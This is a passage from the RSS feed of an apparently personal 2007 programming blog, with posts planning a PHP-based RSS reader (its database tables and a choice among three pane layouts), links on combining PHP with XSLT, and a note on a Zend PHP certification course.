&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/tr&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/table&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/form&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &lt;/body&gt;<br />
&lt;/html&gt;</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=21</wfw:commentRss>
		</item>
		<item>
		<title>RSS Reader - SQL Table layout</title>
		<link>http://blog.warrior.org.uk/?p=14</link>
		<comments>http://blog.warrior.org.uk/?p=14#comments</comments>
		<pubDate>Tue, 14 Aug 2007 16:37:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Programming Ideas]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=14</guid>
		<description><![CDATA[Here are my initial thoughts on the tables needed in the database for the RSS Reader.
As there will ultimately be a login facility then there needs to be a table for account details, including username, password, email address (incase someone forgets their login details) and a unique ID so any other personal settings can be [...]]]></description>
			<content:encoded><![CDATA[<p>Here are my initial thoughts on the tables needed in the database for the RSS Reader.</p>
<p>As there will ultimately be a login facility then there needs to be a table for account details, including username, password, email address (incase someone forgets their login details) and a unique ID so any other personal settings can be tracked.</p>
<p>Next would be a table that stores the list of RSS feeds that a user has and would need to contain at least the Name of the feed and the URL of the feed and if you are going to store them in folders or catagories you would need a column for the folder or catagory name.</p>
<p>Leading on from that you would need a table recording the heirarchy of folders or categories for each user and a similar setup for the offline folders plus a table of all the offline articles.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=14</wfw:commentRss>
		</item>
		<item>
		<title>RSS Reader - Layout</title>
		<link>http://blog.warrior.org.uk/?p=7</link>
		<comments>http://blog.warrior.org.uk/?p=7#comments</comments>
		<pubDate>Mon, 11 Jun 2007 16:55:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Programming Ideas]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=7</guid>
		<description><![CDATA[One of the first things that struck me when thinking about creating an RSS reading was the layout possiblities. I have used a number of desktop and online rss readers before and there are some layouts that seems to be more popular that others.
The first layout if the classic 3 pane approach that is used [...]]]></description>
			<content:encoded><![CDATA[<p align="left">One of the first things that struck me when thinking about creating an RSS reading was the layout possiblities. I have used a number of desktop and online rss readers before and there are some layouts that seems to be more popular that others.</p>
<p>The first layout if the classic 3 pane approach that is used in a similar way in a lot of email clients. With RSS Readers you have a list of RSS Feeds down the left hand side, in a lot a cases grouped together in folders, with the title of each feed item in the top pane to the right of this list and the contents of an individual item in the bottom pane again to the right of the list. A variety of RSS Readers using this layout including <a href="http://www.rssowl.org/" title="RSSOwl" target="_blank">RSSOwl</a> and <a href="http://www.rssbandit.org/" title="RSSBandit" target="_blank">RSSBandit</a>.</p>
<p><a href="http://blog.warrior.org.uk/?attachment_id=11" rel="attachment wp-att-11" title="RSS Layout 1"></a></p>
<p style="text-align: center"><a href="http://blog.warrior.org.uk/?attachment_id=11" rel="attachment wp-att-11" title="RSS Layout 1"><img src="http://blog.warrior.org.uk/wp-content/uploads/2007/06/rss_layout12.JPG" title="RSS Layout 1" alt="RSS Layout 1" border="0" /></a></p>
<p> The second layout option is a 2 pane approach. Again the left hand pane displays a list of available RSS feeds but on the right hand side you only have one pane that displays all the items in a particular RSS feed. An example of a reader that uses this layout is the <a href="http://www.bloglines.com/" title="Bloglines" target="_blank">Bloglines</a> online RSS Reader.</p>
<p align="center"><a href="http://blog.warrior.org.uk/?attachment_id=12" rel="attachment wp-att-12" title="RSS Layout 2"><img src="http://blog.warrior.org.uk/wp-content/uploads/2007/06/rss_layout21.JPG" title="RSS Layout 2" alt="RSS Layout 2" align="middle" border="0" /></a></p>
<p> The third layout I have come across is one where there are 2 panes on the left hand side and one on the right. The top one on the left has the list of RSS Feeds. The bottom one has a list of titles from the feed selected in the top pane. The right hand pane then either displays a full list of the articles from that feed or takes you to the webpage that a individual article refers to. An example of this layout is the <a href="http://sage.mozdev.org/" title="Sage RSS Reader" target="_blank">Sage RSS Reader</a> for <a href="http://www.mozilla.com/" title="Mozilla Firefox" target="_blank">Mozilla Firefox</a>.</p>
<p align="center"><a href="http://blog.warrior.org.uk/?attachment_id=13" rel="attachment wp-att-13" title="RSS Layout 3"><img src="http://blog.warrior.org.uk/wp-content/uploads/2007/06/rss_layout3.JPG" title="RSS Layout 3" alt="RSS Layout 3" align="middle" border="0" /></a></p>
<p>From the three different layouts above the one I am intending to use is the first one, the &#8216;classic&#8217; 3 pane layout. It appears to be the most popular one and it is the one that I personally prefer.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=7</wfw:commentRss>
		</item>
		<item>
		<title>PHP and XSLT</title>
		<link>http://blog.warrior.org.uk/?p=6</link>
		<comments>http://blog.warrior.org.uk/?p=6#comments</comments>
		<pubDate>Fri, 08 Jun 2007 23:24:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Programming Articles]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=6</guid>
		<description><![CDATA[The pastor of one of the churches I go to has several websites including the one for the church designed using a combination of PHP and XSLT. Personally I like the idea of combining these technologies as it helps keep presentation and code separate.
I did a quick Google to see what I could find in [...]]]></description>
			<content:encoded><![CDATA[<p>The pastor of one of the churches I go to has several websites including the one for the <a href="http://www.harvestfieldchurch.co.uk/" title="church" target="_blank">church</a> designed using a combination of PHP and XSLT. Personally I like the idea of combining these technologies as it helps keep presentation and code separate.</p>
<p>I did a quick Google to see what I could find in relation to understanding this a bit better and found the following links:</p>
<ul>
<li><a href="http://www.codewalkers.com/c/a/Miscellaneous/Transforming-XML-with-XSLT-and-PHP/" title="Transforming XML with XSLT and PHP" target="_blank">Transforming XML with XSLT and PHP</a> by <a href="http://www.codewalkers.com/" title="Codewalkers.com" target="_blank">Codewalkers.com</a></li>
<li><a href="http://www.dotvoid.com/view.php?id=14" title="Putting XSL and PHP to work" target="_blank">Putting XSL and PHP to work</a> by <a href="http://www.dotvoid.com/" title="dotvoid.com" target="_blank">dotvoid.com</a></li>
<li><a href="http://builder.com.com/5100-6371-5110606.html" title="Using XSLT with PHP" target="_blank">Using XSLT with PHP</a> by <a href="http://www.builder.com" title="Builder.com" target="_blank">Builder.com</a></li>
<li><a href="http://devzone.zend.com/node/view/id/1302" title="Using PHP and XSL to Transform XML into Web Content" target="_blank">Using PHP and XSL to Transform XML into Web Content</a> from the <a href="http://devzone.zend.com/" title="Zend Developer Zone" target="_blank">Zend Developer Zone</a></li>
<li><a href="http://www.tonymarston.net/php-mysql/xsl.html" title="Using PHP 5's XSL extension to perform XSL Transformations" target="_blank">Using PHP 5&#8217;s XSL extension to perform XSL Transformations</a> from <a href="http://www.tonymarston.net/" title="tonymarston.net" target="_blank">tonymarston.net</a>, and</li>
<li><a href="http://www.sitepoint.com/article/transform-php-xslt" title="Transform your PHP with XSLT" target="_blank">Transform your PHP with XSLT</a> from <a href="http://www.sitepoint.com/" title="Sitepoint" target="_blank">Sitepoint</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=6</wfw:commentRss>
		</item>
		<item>
		<title>Zend PHP Certification</title>
		<link>http://blog.warrior.org.uk/?p=5</link>
		<comments>http://blog.warrior.org.uk/?p=5#comments</comments>
		<pubDate>Tue, 29 May 2007 15:04:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=5</guid>
		<description><![CDATA[I have recently completed an online training course designed to bring you up to speed on the Zend PHP Certification Exam.
I don&#8217;t know how it compares with other online courses as this is the only one I have done so far, but found it a good way of covering the stuff that is needed for [...]]]></description>
			<content:encoded><![CDATA[<p>I have recently completed an online training course designed to bring you up to speed on the Zend PHP Certification Exam.</p>
<p>I don&#8217;t know how it compares with other online courses as this is the only one I have done so far, but found it a good way of covering the stuff that is needed for the exam (once I had sorted out a broadband connection <img src='http://blog.warrior.org.uk/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> )</p>
<p>The training was with <a href="http://www.phparch.com/" title="PHP Architect magazine" target="_blank">PHP Architect magazine</a> and details of the course (which they seem to be running monthly at the moment) can be found at <a href="http://www.phparch.com/phptraining/course/cert" title="http://www.phparch.com/phptraining/course/cert" target="_blank">http://www.phparch.com/phptraining/course/cert</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=5</wfw:commentRss>
		</item>
		<item>
		<title>Programming Idea 1</title>
		<link>http://blog.warrior.org.uk/?p=4</link>
		<comments>http://blog.warrior.org.uk/?p=4#comments</comments>
		<pubDate>Tue, 29 May 2007 14:36:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Programming Ideas]]></category>

		<guid isPermaLink="false">http://blog.warrior.org.uk/?p=4</guid>
		<description><![CDATA[Over a period of time I have had some ideas for programming projects for programs that I would personally find useful or fun to use but haven&#8217;t done anything about trying to actually come up with the programs themselves. I have now come to the conclusion that now it is time to pull my socks [...]]]></description>
			<content:encoded><![CDATA[<p>Over a period of time I have had some ideas for programming projects for programs that I would personally find useful or fun to use but haven&#8217;t done anything about trying to actually come up with the programs themselves. I have now come to the conclusion that now it is time to pull my socks up and actually try to put some of these into action, so here goes.</p>
<p>The first idea that I want to try and tackle is to design a RSS Reader.</p>
<p>Ho, hum, some might say and yes the are a lot of RSS Readers out there, but there is a particular set of features that I cannot find in the ones I have tried.</p>
<p>The main features that I would want to include are a folder heirarchy for the actual RSS Feeds (stardard stuff), links to be able to add particular articles to del.icio.us and also to have the ability to store individual articles in offline folders so once they are no longer on the active RSS feed you can still access them for reference.</p>
<p>All this would initially be done as a Web app so would need some kind of authentication (usernames and passwords), a signup process and storage of data in a backend database (like MySQL or SQLite) but I would like to extend this so the data can also be accessed via a desktop client as well (not something that has been done before AFAIK).</p>
<p>My language of choice for this is <a href="http://www.php.net/" title="PHP" target="_blank">PHP</a>, using <a href="http://gtk.php.net/" title="PHP-GTK" target="_blank">PHP-GTK</a> if I manage to get round to building the desktop client.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.warrior.org.uk/?feed=rss2&amp;p=4</wfw:commentRss>
		</item>
	</channel>
</rss>
